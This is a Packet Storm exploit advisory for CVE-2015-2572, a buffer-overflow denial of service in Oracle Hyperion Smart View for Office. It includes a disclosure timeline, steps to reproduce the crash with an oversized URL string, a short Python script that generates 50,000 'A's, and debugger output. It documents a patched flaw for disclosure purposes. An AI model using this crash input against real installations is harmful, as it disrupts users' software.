Oracle Hyperion Smart View For Office 11.1.2.3.000 DoS

2015-04-17T00:00:00
ID PACKETSTORM:131507
Type packetstorm
Reporter sajith
Modified 2015-04-17T00:00:00

Description

                                        
                                            `# Exploit Title: Buffer Overflow in Oracle� Hyperion Smart View for Office [DOS]  
# Exploit Author: sajith  
# Vendor Homepage: http://oracle.com  
# vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157  
#Vulnerable Link: http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html  
# Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1 [x64],en-us  
#plugin tested with Microsoft Excel 2010  
#CVE: CVE-2015-2572  
  
Responsible Disclosure:  
  
Reported to Oracle on Jul 7, 2014  
patch released on April 14, 2015  
  
How to reproduce the bug?  
  
  
1)install "Smart view" and open Microsoft excel and click on "smart view"  
tab  
  
2)click on "Options" and then click on "Advanced" tab  
  
3) In General menu in "shared Connections URL" enter large value say 50000  
"A"'s and press ok, the application crashes, the output of the crash  
analyzed in debugger is shown below  
  
Note:Plugin once installed automatically integrates with Microsoft office  
products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability  
can be exploited via any of these products.  
  
==================python script to create 50000 "A"'s============  
  
  
try:  
  
print "POC by sajith shetty"  
  
f = open("text.txt","w")  
  
junk = "A" * 50000  
  
f.write(junk)  
  
print "done"  
  
except Exception, e:  
  
print "error- " + str(e)  
  
  
Debugger o/p:  
  
eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061  
edi=0041005d  
eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0 nv up ei pl nz na pe  
nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b  
efl=00010206  
ntdll!RtlEnterCriticalSection+0x12:  
779622d2 f00fba3000 lock btr dword ptr [eax],0  
ds:002b:00410061=????????  
  
caused by MODULE_NAME: HsAddin  
  
  
start end module name  
0fb50000 111a0000 HsAddin (export symbols)  
C:\Oracle\SmartView\bin\HsAddin.dll  
Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll  
Image path: C:\Oracle\SmartView\bin\HsAddin.dll  
Image name: HsAddin.dll  
Timestamp: Wed Mar 27 04:27:50 2013 (515227EE)  
CheckSum: 0163F951  
ImageSize: 01650000  
File version: 11.1.2.3085  
Product version: 11.1.2.3085  
File flags: 0 (Mask 3F)  
File OS: 4 Unknown Win32  
File type: 2.0 Dll  
File date: 00000000.00000000  
Translations: 0409.04b0  
CompanyName: Oracle Corporation  
ProductName: Oracle� Hyperion Smart View for Office, Fusion Edition  
InternalName: CommonAddin  
ProductVersion: 11.1.2.3.000.157  
FileVersion: 11.1.2.3085  
FileDescription: Oracle� Hyperion Smart View for Office, Fusion Edition  
LegalCopyright: Copyright 2004, 2013 Oracle Corporation. All rights  
reserved  
LegalTrademarks: Oracle� is registered.  
  
`